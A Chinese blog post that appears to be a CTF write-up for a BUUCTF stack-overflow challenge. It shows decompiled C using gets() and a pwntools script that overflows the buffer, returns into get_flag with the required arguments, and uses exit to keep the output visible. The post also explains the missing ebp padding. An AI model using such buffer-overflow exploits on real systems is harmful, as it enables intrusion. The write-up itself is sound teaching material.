本篇博客用来记录一种特殊的情况
直接上例题吧 看完就知道什么意思了
int __cdecl main(int argc, const char **argv, const char **envp){ char v4[56]; // [esp+4h] [ebp-38h] BYREF
printf("Qual a palavrinha magica? ", v4[0]); gets(v4); return 0;}void __cdecl get_flag(int a1, int a2){ int v2; // esi unsigned __int8 v3; // al int v4; // ecx unsigned __int8 v5; // al
if ( a1 == 814536271 && a2 == 425138641 ) { v2 = fopen("flag.txt", "rt"); v3 = getc(v2); if ( v3 != 255 ) { v4 = (char)v3; do { putchar(v4); v5 = getc(v2); v4 = (char)v5; } while ( v5 != 255 ); } fclose(v2); }}总体的思路应该就是最简单的栈溢出控制程序执行流到getflag这个函数
但是getflag在open flag.txt前有一个if判定 我们要先使a1 a2的值符合这个条件 才能使函数正常运行
但是这个a1 a2我们发现也没有办法通过栈溢出的方法来覆盖使其变成符合条件的值
所以这里只能在调用getflag函数时 一并传入a1 a2的值
exp如下:
from pwn import*io = remote("node4.buuoj.cn",29661)getflag_addr = 0x80489a0exit_addr = 0x804e6a0payload = cyclic(0x38)+p32(getflag_addr)+p32(exit_addr)+p32(0x308CD64F)+p32(0x195719D1)io.sendline(payload)io.interactive()这里你会发现 按照平常我们填充的垃圾数据应该是 变量到ebp的距离0x38+0x4来覆盖ebp
这里为什么我们没有多一个字长的垃圾数据呢?
来看一下main函数的汇编情况

是不是缺少了什么? 如果你对栈帧的概念不是很清楚 可能看不出什么 我们再放一段正常的函数汇编代码

如果你熟悉栈帧的概念(这个我们在ret2csu里有讲到) 你就会知道大部分栈帧在生成的时候都会有这两段汇编代码 用来使esp和ebp入栈
但是这道题的getflag函数并没有ebp 他利用esp寻址的办法
所以此时我们的变量距离ret addr只有0x38字节 而非0x38+4
再说回为什么函数和参数之间的垃圾数据要为exit函数的地址
这是因为程序如果是以异常状况结束的 那么他将不会有回显 也就是说open(flag)得到的flag并不会显示出来